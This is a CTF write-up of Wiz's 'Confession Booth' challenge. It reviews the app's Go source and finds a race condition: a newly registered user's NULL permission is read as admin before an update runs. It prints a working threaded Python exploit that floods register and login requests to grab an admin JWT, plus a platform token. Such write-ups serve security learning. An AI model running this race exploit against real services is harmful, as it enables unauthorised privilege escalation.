Skip to content

Wiz The Ultimate Cloud Security Championship: Confession Booth


Arbaaz Jamadar
Written by
Arbaaz Jamadar
Cloud Security Engineer | OSCP | AWS Security Specialty | CySA+ | Threat Detection & Incident Response

image.png

Someone set up a Hacker Confession Booth claiming it’s a safe space to spill secrets.

Word on the street is that it’s a trap - the admin is manually filtering confessions.

Time to expose the truth.

Initial Analysis:

We have been given the source code to analyze, during the first glance we can see that the application is using JWT tokens for stateless session management, the tokens are signed and verified.

However, JWT tokens are stateless and self-contained, which means they cannot be easily revoked or invalidated before their expiration time. This creates a major security challenge: if a token is compromised, it remains valid until it expires, potentially allowing unauthorized access.

Files of interest:

  1. database/database.go (responsible to create tables in DB)
  2. auth/auth.go (responsible to create and verify jwt tokens via signature)
  3. config/constants.go (defines the permission for normal user and admin user)
  4. handlers/admin_handlers.go (defines the functionalities available to admin)
  5. handlers/auth_handler.go (defines the logic to create, update, and handling user login/logouts)

database.go:

createTableSQL := `
    DROP TABLE IF EXISTS confessions;
    DROP TABLE IF EXISTS users;
    CREATE TABLE users (
        id SERIAL PRIMARY KEY,
        username TEXT UNIQUE NOT NULL,
        password_hash TEXT NOT NULL,
        profile_picture_url TEXT,
        permission_level INT,
        bio TEXT
    );
  1. Username, password_hash cannot be NULL
  2. Permission_level is of type INT

auth.go:

func CreateJWT(userID int, perms int) (string, error) {
    expirationTime := time.Now().Add(1 * time.Hour)
    claims := &Claims{
        UserID: userID,
        Perms:  perms,
        RegisteredClaims: jwt.RegisteredClaims{
            ExpiresAt: jwt.NewNumericDate(expirationTime),
        },
    }

    token := jwt.NewWithClaims(jwt.SigningMethodHS512, claims)
    return token.SignedString(jwtKey)
}
  1. JWT token are valid for upto 1 hour, this means the token cannot be revoked or modified until it expires, this is a very bad practice.
  2. Stateless sessions management solutions need to be short lived with proper controls for reissuing valid and tokens.
func AuthMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        tokenString := ""

        authHeader := c.Request().Header.Get("Authorization")
        if authHeader != "" {
            tokenString = strings.TrimPrefix(authHeader, "Bearer ")
        }

        if tokenString == "" {
            cookie, err := c.Cookie("booth_session")
            if err == nil {
                tokenString = cookie.Value
            }
        }

        if tokenString == "" {
            return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "No token provided"})
        }

        claims := &Claims{}
        token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {
            return jwtKey, nil
        })

        if err != nil {
            if err == jwt.ErrSignatureInvalid {
                return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token signature"})
            }
            return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token"})
        }

        if !token.Valid {
            return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token"})
        }

        c.Set("userID", claims.UserID)
        c.Set("userPerms", claims.Perms)
        return next(c)
    }
}
  1. booth_session → Is the JWT token issued for a user containing respective permission and signature
  2. The issued token’s signature is always verified using the signature validation.

image.png

image.png

  1. You can see that perm is set to 1 , which is a normal user permission

constants.go

package config

const (
    PermissionAdmin = 0
    PermissionUser  = 1
)

const AUTO_ADMIN_USER = false
  1. Here the values for normal user and admin user is clearly defined,

admin_handlers.go

func AdminHandler(c echo.Context) error {
    return c.Render(http.StatusOK, "admin.html", nil)
}

func PromoteHandler(c echo.Context) error {
    username := c.FormValue("username")
    if username == "" {
        return c.String(http.StatusBadRequest, "Username required")
    }

    if err := database.PromoteUserToAdmin(username); err != nil {
        return c.String(http.StatusInternalServerError, "Failed to promote user")
    }

    return c.String(http.StatusOK, "User promoted to admin")
}

func AdminConfessionsHandler(c echo.Context) error {
    status := c.QueryParam("status")
    search := c.QueryParam("search")

    query := `
        SELECT c.id, c.content, c.created_at, c.show, u.username
        FROM confessions c
        JOIN users u ON c.user_id = u.id
        WHERE 1=1
    `
    var args []interface{}
    argCount := 1

    if status == "pending" {
        query += " AND c.show = 0"
    }

    if search != "" {
        query += " AND c.content ILIKE $" + strconv.Itoa(argCount)
        args = append(args, "%"+search+"%")
        argCount++
    }

    query += " ORDER BY c.created_at DESC"

    rows, err := database.DB.Query(query, args...)
    if err != nil {
        return c.JSON(http.StatusInternalServerError, map[string]string{"error": "Failed to fetch confessions"})
    }
    defer rows.Close()

    type ConfessionItem struct {
        ID        int
        Content   string
        CreatedAt string
        Username  string
        Show      int
    }

    var confessions []ConfessionItem
    for rows.Next() {
        var item ConfessionItem
        if err := rows.Scan(&item.ID, &item.Content, &item.CreatedAt, &item.Show, &item.Username); err != nil {
            continue
        }
        confessions = append(confessions, item)
    }

    return c.JSON(http.StatusOK, confessions)
}

func ApproveConfessionHandler(c echo.Context) error {
    idStr := c.Param("id")
    if idStr == "flag" {
        flagContent, err := os.ReadFile("/flag.txt")
        if err != nil {
            return c.JSON(http.StatusInternalServerError, map[string]string{
                "error":   "Failed to read flag",
                "details": err.Error(),
            })
        }
        return c.JSON(http.StatusOK, map[string]string{
            "flag": strings.TrimSpace(string(flagContent)),
        })
    }
    return c.String(http.StatusOK, "Confession approved")
}

func DeleteConfessionAdminHandler(c echo.Context) error {
    return c.String(http.StatusOK, "Confession deleted")
}
  1. The admin can promote a user to admin role, create a hidden confession, approve confessions, and delete confessions.

auth_handler.go:

RegisterHandler:

func RegisterHandler(c echo.Context) error {
    if c.Request().Method == "GET" {
        return c.Render(http.StatusOK, "register.html", nil)
    }

    if c.Request().Method == "POST" {
        username := c.FormValue("username")
        password := c.FormValue("password")
        profilePicURL := c.FormValue("profile_picture_url")

        if username == "" || password == "" {
            return c.String(http.StatusBadRequest, "Username and password required")
        }

        if err := validateProfilePictureURL(profilePicURL); err != nil {
            return c.String(http.StatusBadRequest, err.Error())
        }

        hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
        if err != nil {
            return c.String(http.StatusInternalServerError, "Failed to hash password")
        }

        userID, err := database.CreateUser(username, string(hashedPassword), profilePicURL)
        if err != nil {
            return c.String(http.StatusInternalServerError, "Username already exists")
        }

        targetPerms := config.PermissionUser
        if config.AUTO_ADMIN_USER {
            targetPerms = config.PermissionAdmin
        }

        if err := database.UpdateUserPermissions(userID, targetPerms); err != nil {
            return c.String(http.StatusInternalServerError, "Failed to set user permissions")
        }

        // log.Printf("[User %d] Created and set to User permissions.", userID)
        return c.Redirect(http.StatusSeeOther, "/auth/login")
    }
    return c.String(http.StatusMethodNotAllowed, "Method not allowed")
}
  1. The function database.CreateUser does not set any permissions at the time of user registration/creation, this means that the user permission_level is set to NULL
  2. NULL is converted to 0 via the type conversion in go, which means the registered/created user is an admin user for a short time period, before it is immediately updated in the next stored statement of the function database.UpdateUserPermissions which eventually changes the permissions from 0 to 1
  3. Making the Registered/Created user a normal user with no special privileges.

LoginHandler:

func LoginHandler(c echo.Context) error {
    if c.Request().Method == "GET" {
        return c.Render(http.StatusOK, "login.html", nil)
    }

    if c.Request().Method == "POST" {
        username := c.FormValue("username")
        password := c.FormValue("password")

        var userID int
        var dbHashedPassword string
        var userPerms int

        selectStmt := `SELECT id, password_hash, permission_level FROM users WHERE username = $1`
        err := database.DB.QueryRow(selectStmt, username).Scan(&userID, &dbHashedPassword, &userPerms)

        if err == sql.ErrNoRows {
            return c.String(http.StatusUnauthorized, "Invalid credentials")
        }

        if err := bcrypt.CompareHashAndPassword([]byte(dbHashedPassword), []byte(password)); err != nil {
            return c.String(http.StatusUnauthorized, "Invalid credentials")
        }

        token, err := auth.CreateJWT(userID, userPerms)
        if err != nil {
            return c.String(http.StatusInternalServerError, "Failed to create session")
        }

        // log.Printf("[User %d] Logged in. Assigned perms: %d", userID, userPerms)

        response := map[string]string{
            "message": "Login successful",
            "token":   token,
        }
        return c.JSON(http.StatusOK, response)
    }
    return c.String(http.StatusMethodNotAllowed, "Method not allowed")
}
  1. The login function only uses username to fetch and compare user, password, profile, and permissions.

Vulnerability:

  1. There exists a race condition in handlers/auth_handler.godatabase.CreateUser and database.UpdateUserPermissions
  2. The window is very short as the statements are executed sequentially.
  3. Which means to exploit this race condition we need to retrieve booth_session cookie before the newly created/registered user’s permission are updated by database.UpdateUserPermissions .
  4. The exploit script needs to be work parallelly to improve the chances of getting a admin token. The token’s TTL is no problem as it is set to 1 hour validity.
  5. A admin token will be valid for 1 hour no matter what.

Exploit Race Condition:

Script refined with the help of claude ❤️

import requests
import threading
import base64
import json
import random
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

## Change This
BASE_URL = "https://606e4125-4842-43f0-9907-793ef9c99032.confession-booth.challenges.wiz-research.com"

## Change This
PLATFORM_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI2MDZlNDEyNS00ODQyLTQzZjAtOTkwNy03OTNlZjljOTkwMzIiLCJjaGFsbGVuZ2VfaWQiOiJlNGY1YTZiNy1jOGQ5LTRlMGYtYTFiMi0zYzRkNWU2ZjdhOGIiLCJpYXQiOjE3NzQxMDk1MzYsImV4cCI6MTc3NDI4MjMzNiwiaXNzIjoicmVzZWFyY2gtY3RmcyIsImF1ZCI6ImNvbmZlc3Npb24tYm9vdGgifQ.Z1wWi7-uhZc3lB_Qsov5w9pIS5iRI32gljyz0dj2vJI_IUVj6fl5AmQefSKzG_e8Kpw6Ig8KTsNDkVGpmbU_ApuAOagmbXV69zk2KnEH-Wq5db_FYb9D8b4AcSdr4MrdGrgHISEoPKb3QwvbkQCjluKokg4od_DFEgd4u22P0yqm5-CCU-quq_kP5JXB2VfWacEI4M90kEr3bq__vSXuP_4ScbMbgUw_uGtM3G9guKuCsuDZz8N9mgRC33proLmDQLcPg36Oi3gyls8amRKFMmTceBsNqLsYuZb5CCnnvlb6AoKvTeI-b2Cr5AEWMrsm6DDvhBVETx_oA9yYVIpMGg"

found_admin_token = None
lock = threading.Lock()

adapter = requests.adapters.HTTPAdapter(
    pool_connections=100,
    pool_maxsize=200,
    max_retries=0
)

def random_username(length=12):
    return ''.join(random.choices(string.ascii_lowercase, k=length))

def make_session():
    s = requests.Session()
    s.mount("https://", adapter)
    s.mount("http://", adapter)
    s.cookies.set("token", PLATFORM_TOKEN)
    return s

def decode_jwt_perms(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * (4 - len(payload) % 4)
        decoded = json.loads(base64.b64decode(payload))
        return decoded.get("perms", -1)
    except Exception:
        return -1

def race_worker(worker_id):
    global found_admin_token

    with lock:
        if found_admin_token:
            return

    username = random_username()
    password = "Password123!"
    s = make_session()

    def do_register():
        try:
            s.post(f"{BASE_URL}/auth/register", data={
                "username": username,
                "password": password,
                "profile_picture_url": "https://ui-avatars.com/api/?name=John+Doe"
            }, allow_redirects=False, timeout=5)
        except Exception:
            pass

    threading.Thread(target=do_register, daemon=True).start()

    def do_login(_):
        with lock:
            if found_admin_token:
                return None
        try:
            resp = s.post(
                f"{BASE_URL}/auth/login",
                data={"username": username, "password": password},
                timeout=1
            )
            if resp.status_code == 200:
                return resp.json().get("token", None)
        except Exception:
            pass
        return None

    with ThreadPoolExecutor(max_workers=34) as login_pool:
        futures = [login_pool.submit(do_login, i) for i in range(50)]
        for future in as_completed(futures):
            token = future.result()
            if not token:
                continue

            if decode_jwt_perms(token) == 0:
                with lock:
                    if not found_admin_token:
                        found_admin_token = token
                        print(f"\n[+] Admin token found!")
                        print(f"\ncurl '{BASE_URL}/admin' "
                              f"--cookie 'token={PLATFORM_TOKEN}; booth_session={token}'")
                return

def main():
    print("[*] Wiz CTF - Confession Booth Race Condition Exploit")
    print(f"[*] Target: {BASE_URL}\n")

    TOTAL_REGISTRATIONS = 500
    BATCH_SIZE = 10

    for batch_start in range(0, TOTAL_REGISTRATIONS, BATCH_SIZE):
        if found_admin_token:
            break

        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REGISTRATIONS)
        print(f"[*] Batch {batch_start // BATCH_SIZE + 1}: workers {batch_start}{batch_end - 1}")

        with ThreadPoolExecutor(max_workers=BATCH_SIZE) as pool:
            futures = [pool.submit(race_worker, i) for i in range(batch_start, batch_end)]
            for f in as_completed(futures):
                if found_admin_token:
                    break

    if not found_admin_token:
        print("\n[-] Exhausted all attempts. Try increasing TOTAL_REGISTRATIONS.")

if __name__ == "__main__":
    main()

image.png

// The user creation and assigning permission is not done concurrently, instead a user is created/added to the table first, at this time the permission_level is null
// The permission level is automatically set after the user has been created.
// There exists a race condition as the permission and user creation are two sepreate functions, the attacker can leverage the short amount of time to create and login as the user getting a NULL session, NULL is interpreted as `0` when converted to integer.
// from config/contants we know that 0 is the admin user.

2026-03-21 12_13_58-Task Manager.png